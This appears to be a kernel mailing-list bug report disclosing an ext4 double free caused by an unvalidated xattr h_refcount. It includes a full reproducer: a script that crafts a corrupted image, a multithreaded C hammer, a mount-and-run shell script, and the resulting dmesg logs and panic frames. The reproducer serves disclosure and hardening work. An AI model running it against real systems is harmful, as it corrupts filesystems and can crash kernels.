[BUG] ext4: unvalidated h_refcount on a shared xattr block -> double free, detected too late
From: 1sh1ro
Date: Tue Oct 13 2026 - 01:07:43 EST
Hi,
ext4_xattr_release_block() treats the on-disk h_refcount as authoritative, so a
crafted image can make the release path free a block that is still referenced
elsewhere. The double free is detected ("freeing already freed block ... block
bitmap corrupt") but not contained, and in one run the resulting corruption led
to a fatal panic in interrupt context. The reproducer is self-contained
(e2fsprogs + gcc only). It reproduces on 7.3.0-rc5 (4/4 runs) and on current
mainline built from master (7.3.0-rc7); the ext4 code involved is byte-identical
between the two.
## The corruption
Starting from a stock 8MB ext4 (mke2fs -t ext4 -b 4096 -I 256
-O ^has_journal,^metadata_csum, one directory /dir1 with three 7-byte files),
three byte-level edits:
1. /dir1/file0's data block N is replaced with a VALID xattr block
(h_magic = 0xEA020000, h_blocks = 1, one in-bounds trusted.k5 entry) but with
h_refcount = 1;
2. /dir1/file1: i_file_acl_lo (inode+104) := N
3. /dir1/file2: i_file_acl_lo (inode+104) := N
Block N then has three real references (file0's data extent plus the two
i_file_acl) while its header says one. Every parse-time and lazy validation
passes; the filesystem mounts and runs normally.
## Observed
A 512-byte setxattr on either victim forces the xattr out of the inode body and
walks the release path for the old shared block. Because h_refcount is 1,
ext4_xattr_release_block() calls ext4_free_blocks() on a block that is still
mapped. That first wrong free is silent: the bitmap bit is still set, so
mb_free_blocks() sees nothing wrong. When the block is released a second time
the bit is already clear and the corruption is reported:
EXT4-fs error (device loop7): mb_free_blocks:2046: group 0, inode 14:
block 1163:freeing already freed block (bit 1163); block bitmap corrupt.
Deterministic, 4/4 runs, firing about 2 s after mount with the attached hammer
(dmesg excerpts attached as d1.log/d2.log). The same line appears with the same
timing when the same image and hammer are run on a kernel built from current
mainline. By the time it is reported the allocator may already have handed the
block out again, so the report cannot undo the corruption, and the filesystem
continues running read-write.
In one earlier run the same corrupted state led (race-dependent: observed once,
not again in ~40 subsequent pressure runs) to a fatal exception in interrupt
context while unwritten extents over the double-lived block were being
converted; console frames attached as panic_excerpt.txt:
ext4_end_io_rsv_work -> ext4_convert_unwritten_io_end_vec
-> ext4_convert_unwritten_extents -> ext4_map_blocks
-> ext4_ext_map_blocks -> ext4_split_extent_at
-> ext4_ext_insert_extent+0x1092/0x4400 (memmove, size = -16)
Kernel panic - not syncing: Fatal exception in interrupt
## Root cause
ext4_xattr_release_block() reads h_refcount from the on-disk header and, when it
is 1, deletes the mb_cache entry and frees the block; otherwise it decrements and
rewrites the header. There is no validation of h_refcount against the actual set
of i_file_acl references. We appreciate that a full back-reference scan at parse
or release time would be prohibitively expensive, so we are not asking for that.
The parts we believe are worth hardening:
1. the release path converts an unverifiable on-disk counter into a free
decision, and the first wrong free is silent;
2. once mb_free_blocks() reports "freeing already freed block" from this path, a
wrong free has already happened, yet the filesystem keeps running read-write
and the allocator state stays corrupted;
3. downstream users of the double-lived block then hit memory-safety failures
(the IRQ-context panic above).
## Suggested direction
Given that refcount-vs-references validation is impractical, is containment the
sensible hardening point - e.g. treating a "freeing already freed block" error
raised from the xattr release path as grounds for fs abort (rather than
error + continue), on the theory that such a message from this path implies a
wrong free has already happened? We would be glad to test any patch.
We report this as a robustness/containment issue: the trigger requires a crafted
filesystem image, which in default setups implies control of the device image;
we are not claiming a privilege-boundary crossing.
## Reproducer (attached)
craft_f1.py builds the image from scratch (dd/mke2fs/debugfs + byte edits)
f1_hammer.c 8 threads: setxattr/getxattr/removexattr on the victims
(externalize + release), create/unlink churn (block
reallocation), truncate churn on the donor (extent
conversion over the double-lived block)
run_f1.sh craft + loop-mount rw,noload + hammer + dmesg capture
f1_small.img.xz pre-baked crafted image (2052 bytes compressed)
README details, causal chain, notes
d1.log d2.log deterministic double-free dmesg excerpts
panic_excerpt.txt preserved console frames of the one race panic
On a KASAN kernel (7.3.0-rc5 and current mainline, CONFIG_KASAN_GENERIC=y,
CONFIG_SLUB_DEBUG=y), as root, on any Linux with e2fsprogs + gcc:
bash run_f1.sh
Expected output within seconds:
EXT4-fs error (device loopN): mb_free_blocks: ... freeing already freed
block (bit N); block bitmap corrupt.
Notes: mkfs must disable metadata_csum for the pre-baked image (the crafted block
carries no valid h_checksum); on a checksumming filesystem the same lie with a
recomputed checksum behaves identically - the bug is orthogonal to checksumming.
Thanks,
1sh1ro <yangguikun19@xxxxxx>
#!/usr/bin/env python3
"""Generate the F1 repro image from scratch â?? e2fsprogs only, no external deps.
Creates an 8MB ext4 with /dir1/file{0,1,2}, then applies three byte-level
edits that turn file0's data block into a shared xattr block whose
h_refcount lies (header says 1, true references = 3).
Usage: python3 craft_f1.py [out.img] (default f1.img)
"""
import os
import re
import struct
import subprocess
import sys
IMG = sys.argv[1] if len(sys.argv) > 1 else "f1.img"
BS = 4096
def run(cmd, ok=True):
r = subprocess.run(cmd, capture_output=True, text=True)
if ok and r.returncode != 0:
raise RuntimeError(f"{cmd} failed: {r.stderr}")
return r.stdout
# 1. fresh ext4: 4K blocks, 256B inodes, no journal (we mount -o noload).
# ^metadata_csum: the crafted xattr block carries no valid h_checksum, so a
# csum-enabled fs would reject it lazily at first read and the release path
# never fires.
run(["dd", "if=/dev/zero", f"of={IMG}", "bs=1M", "count=8"])
run(["mke2fs", "-q", "-F", "-t", "ext4", "-b", str(BS), "-I", "256",
"-N", "32", "-O", "^has_journal,^metadata_csum", IMG])
# 2. three files via debugfs
os.makedirs("/tmp/f1src", exist_ok=True)
for name, ch in (("file0", b"A"), ("file1", b"B"), ("file2", b"C")):
open(f"/tmp/f1src/{name}", "wb").write(ch * 7)
run(["debugfs", "-w", "-R", "mkdir /dir1", IMG], ok=False) # may already exist
for name in ("file0", "file1", "file2"):
run(["debugfs", "-w", "-R", f"write /tmp/f1src/{name} /dir1/{name}", IMG])
# 3. geometry: group-0 inode table + victim inode numbers
geo = run(["dumpe2fs", IMG])
itable = int(re.search(r"Group 0:.*?Inode table at (\d+)-", geo, re.S).group(1))
isz = int(re.search(r"Inode size:\s+(\d+)", run(["dumpe2fs", "-h", IMG])).group(1))
def ino_of(path):
out = run(["debugfs", "-R", f"stat {path}", IMG])
return int(re.search(r"Inode:\s+(\d+)", out).group(1))
def inode_off(ino):
return itable * BS + (ino - 1) * isz
donor_blk = int(run(["debugfs", "-R", "blocks /dir1/file0", IMG]).split()[0])
v1, v2 = ino_of("/dir1/file1"), ino_of("/dir1/file2")
# 4. the corruption
buf = bytearray(open(IMG, "rb").read())
# (a) donor data block -> valid xattr block with h_refcount=1 (the lie)
b = bytearray(BS)
struct.pack_into("<III", b, 0, 0xEA020000, 1, 1) # h_magic, h_refcount, h_blocks
e = 32 # entry: trusted.k5, in-bounds
b[e], b[e + 1] = 2, 4
struct.pack_into("<H", b, e + 2, BS - 64) # e_value_offs (rel. block start)
struct.pack_into("<I", b, e + 8, 64) # e_value_size
b[e + 16:e + 18] = b"k5"
b[BS - 64:BS] = b"V" * 64
buf[donor_blk * BS:(donor_blk + 1) * BS] = b
# (b)+(c) both victims' i_file_acl_lo -> donor block
for ino in (v1, v2):
struct.pack_into("<I", buf, inode_off(ino) + 104, donor_blk)
open(IMG, "wb").write(bytes(buf))
print(f"crafted {IMG}: block {donor_blk} is /dir1/file0's data block AND a "
f"xattr block with h_refcount=1; inodes {v1},{v2} (/dir1/file1,file2) "
f"i_file_acl -> {donor_blk}. True refs = 3.")
/* F1 minimal concurrency hammer (self-contained, for upstream reproducer).
*
* Usage: f1_hammer <seconds> <worker-id> <mountpoint>
* Assumes the crafted image layout: /dir1/file0 (data block aliased as xattr
* block), /dir1/file1 + /dir1/file2 (i_file_acl -> the aliased block).
*
* Worker loop = the three families that drive the F1 causal chain:
* A. xattr churn on the two victims -> externalization + release path
* (premature free of the refcount-lie block)
* B. create/unlink churn in /dir1 -> allocator re-grabs the freed block
* C. truncate churn on the donor -> IO completion converts unwritten
* extents over the aliased block (IRQ-context consumer)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/xattr.h>
#include <time.h>
static char p[512], q[512], val[512];
int main(int argc, char **argv)
{
if (argc < 4) return 2;
int secs = atoi(argv[1]);
int w = atoi(argv[2]);
const char *root = argv[3];
time_t end = time(NULL) + secs;
char name[64];
snprintf(name, sizeof(name), "trusted.k%d", w);
memset(val, 'A' + (w % 26), sizeof(val));
unsigned long ops = 0;
while (time(NULL) < end) {
/* A: victims' xattr churn (externalize / release) */
const char *xa[2] = {"/dir1/file1", "/dir1/file2"};
for (int i = 0; i < 2; i++) {
snprintf(p, sizeof(p), "%s%s", root, xa[i]);
setxattr(p, name, val, sizeof(val), 0);
char buf[1024];
getxattr(p, name, buf, sizeof(buf));
removexattr(p, name);
ops += 3;
}
/* B: allocation churn (freed block gets re-grabbed) */
for (int i = 0; i < 8; i++) {
snprintf(q, sizeof(q), "%s/dir1/c%d-%d", root, w, i);
int fd = open(q, O_CREAT | O_RDWR, 0644);
if (fd >= 0) { write(fd, val, 200); close(fd); }
unlink(q);
ops += 2;
}
/* C: donor truncate churn (extent convert over aliased block) */
snprintf(p, sizeof(p), "%s/dir1/file0", root);
int fd = open(p, O_RDWR);
if (fd >= 0) {
write(fd, val, sizeof(val));
ftruncate(fd, 3);
ftruncate(fd, 40000);
close(fd);
}
ops += 3;
}
printf("f1_hammer w%d: %lu ops\n", w, ops);
return 0;
}
#!/bin/bash
# F1 repro: generate image, mount, hammer, capture splat. Run as root on any
# Linux with e2fsprogs + gcc. NOT for production machines (it mounts a
# deliberately corrupted filesystem).
set -e
cd "$(dirname "$0")"
python3 craft_f1.py f1.img
gcc -static -O2 -o f1_hammer f1_hammer.c
losetup -d /dev/loop9 2>/dev/null || true
mkdir -p /mnt/t
losetup /dev/loop9 f1.img
mount -t ext4 -o rw,noload /dev/loop9 /mnt/t
for w in $(seq 1 8); do ./f1_hammer 40 $w /mnt/t & done
wait
umount /mnt/t || umount -l /mnt/t
losetup -d /dev/loop9 || true
dmesg | grep -E "freeing already freed block|block bitmap corrupt" \
&& echo "REPRODUCED: block double-free" \
|| echo "not reproduced this run"
Attachment:
f1_small.img.xz
Description: application/xz
Target: Linux 7.3.0-rc5 x86_64 + KASAN generic (release-path logic byte-identical
in `fs/ext4/xattr.c: ext4_xattr_release_block` across recent mainlines).
Result: **deterministic** â?? 3/3 runs on the seed-derived image, splat fires
~15 ms after the first victim's xattr release; reproduced again with the
fully self-generated image (`craft_f1.py`, e2fsprogs only).
## The corruption (3 edits on a stock 8MB ext4)
1. `/dir1/file0`'s data block (physical block N) is overwritten with a **valid**
xattr block: `h_magic=0xEA020000, h_blocks=1`, one in-bounds `trusted.k5`
entry â?? but `h_refcount=1`.
2. `/dir1/file1` `i_file_acl_lo` (inode+104) := N
3. `/dir1/file2` `i_file_acl_lo` (inode+104) := N
True reference count of block N = **3** (donor data extent + 2 Ã? i_file_acl);
the on-disk header says **1**. Nothing else is out of bounds â?? every parse-time
validation passes, because there is no validation of `h_refcount` against
actual references.
## Causal chain
```
setxattr(file1, 512B) # 512B > inline area â?? externalize
â?? release of file1's old block N: h_refcount 1â??0 â?? ext4_free_blocks(N)
[SILENT WRONG FREE: N still mapped as file0's extent + file2's i_file_acl]
alloc churn # allocator hands N to new files
setxattr/removexattr(file2) # second release of N
â?? mb_free_blocks: "freeing already freed block (bit N); block bitmap corrupt"
(race window) truncate churn on file0 â?? IO-completion extent conversion over
the double-lived block â?? ext4_ext_insert_extent memmove(size=-16) in IRQ
context â?? kernel panic (observed once; narrow window)
```
## Contents
| file | role |
|---|---|
| `craft_f1.py` | self-contained image generator (dd + mke2fs + debugfs + byte edits; needs only e2fsprogs+python3) |
| `f1_hammer.c` | 8-thread churn: xattr release / allocation churn / truncate (three causal families) |
| `run_f1.sh` | craft + mount + hammer + dmesg capture (root) |
| `f1_small.img.xz` | pre-baked crafted image, 2052 bytes compressed |
## Run
```bash
bash run_f1.sh # generates f1.img from scratch, mounts, hammers
# expect within ~15s:
# EXT4-fs error (device loopN): mb_free_blocks:2046: group 0, inode 14|15:
# block 10|1163: freeing already freed block (bit ...); block bitmap corrupt.
```
Notes:
- `^metadata_csum` at mkfs is required: the crafted block carries no valid
`h_checksum`, and a csum-enabled fs lazily rejects it before the release
path fires (the bug is orthogonal to checksumming â?? the lie is a validly-
checksummed field value on real-world csum filesystems too).
- Mount requires root (loop) in default setups; see the upstream report draft
for the threat-model framing.
## Severity framing (honest)
Requires a crafted filesystem image (attacker-controlled disk/USB image,
multi-tenant block device). Upstream-relevant part is not the parse-time
acceptance (that's "corrupted fs") but:
1. the release path converts an unverifiable on-disk counter into a free
decision (silent first wrong free),
2. the detected double free ("freeing already freed block") leaves the fs
mounted rw and allocator state already corrupted,
3. one observed downstream kernel panic in IRQ context.
[ 12.232554] loop7: detected capacity change from 0 to 16384
[ 12.251091] EXT4-fs (loop7): mounted filesystem c2d3ca3c-1ab5-4c99-9c51-244dd68d1ff2 r/w without journal. Quota mode: none.
[ 12.268531] EXT4-fs error (device loop7): mb_free_blocks:2046: group 0, inode 14: block 1163:freeing already freed block (bit 1163); block bitmap corrupt.
[ 15.468093] audit: type=1400 audit(1791855755.881:7): avc: denied { checkpoint_restore } for pid=194 comm="agetty" capability=40 scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:system_r:kernel_t:s0 tclass=capability2 permissive=1
[ 51.830037] EXT4-fs (loop7): unmounting filesystem c2d3ca3c-1ab5-4c99-9c51-244dd68d1ff2.
[ 12.334306] loop7: detected capacity change from 0 to 16384
[ 12.342643] losetup (232) used greatest stack depth: 23552 bytes left
[ 12.356171] EXT4-fs (loop7): mounted filesystem c2d3ca3c-1ab5-4c99-9c51-244dd68d1ff2 r/w without journal. Quota mode: none.
[ 12.370309] EXT4-fs error (device loop7): mb_free_blocks:2046: group 0, inode 15: block 1163:freeing already freed block (bit 1163); block bitmap corrupt.
[ 14.874773] audit: type=1400 audit(1791855889.551:7): avc: denied { checkpoint_restore } for pid=198 comm="agetty" capability=40 scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:system_r:kernel_t:s0 tclass=capability2 permissive=1
[ 52.336239] EXT4-fs (loop7): unmounting filesystem c2d3ca3c-1ab5-4c99-9c51-244dd68d1ff2.
PANIC-EXCERPT: console frames preserved from the single observed race panic
(8MB-image campaign run; the full console log was lost to a subsequent run,
frames below were captured live at the time; deterministic double-free logs
d1.log/d2.log accompany this excerpt)
--- first oops of the cascade (task context, KASAN report path) ---
BUG: kernel NULL pointer dereference, address: 0000000000000010
Oops: Oops: 0000 [#6] SMP KASAN NOPTI
RIP: 0010:stack_depot_save_flags+0x129/0x800
Call Trace:
ext4_put_io_end_defer+0x35e/0x410
ext4_end_bio+0x134/0x520
--- the origin oops earlier in the cascade (same event) ---
ext4_ext_insert_extent+0x1092/0x4400
? __pfx_ext4_ext_insert_extent+0x10/0x10
? __ext4_ext_dirty+0x17e/0x230
ext4_split_extent_at+0x4d5/0xb10
? ext4_find_extent+0x6bd/0xa00
ext4_split_convert_extents.constprop.0+0x2ce/0x16a0
ext4_ext_map_blocks+0x2670/0x5050
ext4_map_create_blocks+0xeb/0x6f0
ext4_map_blocks+0x556/0xd20
ext4_convert_unwritten_extents+0x271/0x520
? jbd2_journal_start_reserved+0x233/0x550
ext4_convert_unwritten_io_end_vec+0x129/0x280
ext4_end_io_end+0xd7/0x4b0
ext4_end_io_rsv_work+0x1b9/0x310
--- final fatal exception (interrupt context) ---
RIP: 0010:memmove+0x1e/0x1c0
RAX: ff11000010c51048 RBX: ff11000010c51034 RCX: fffffffffaad3038
RDX: fffffffffffffff0 <- size = -16
R13: ff11000015a2f738 R14: 0000000000000fdc R15: 00000000ffffffc3
CR2: 0000000000000010
Kernel panic - not syncing: Fatal exception in interrupt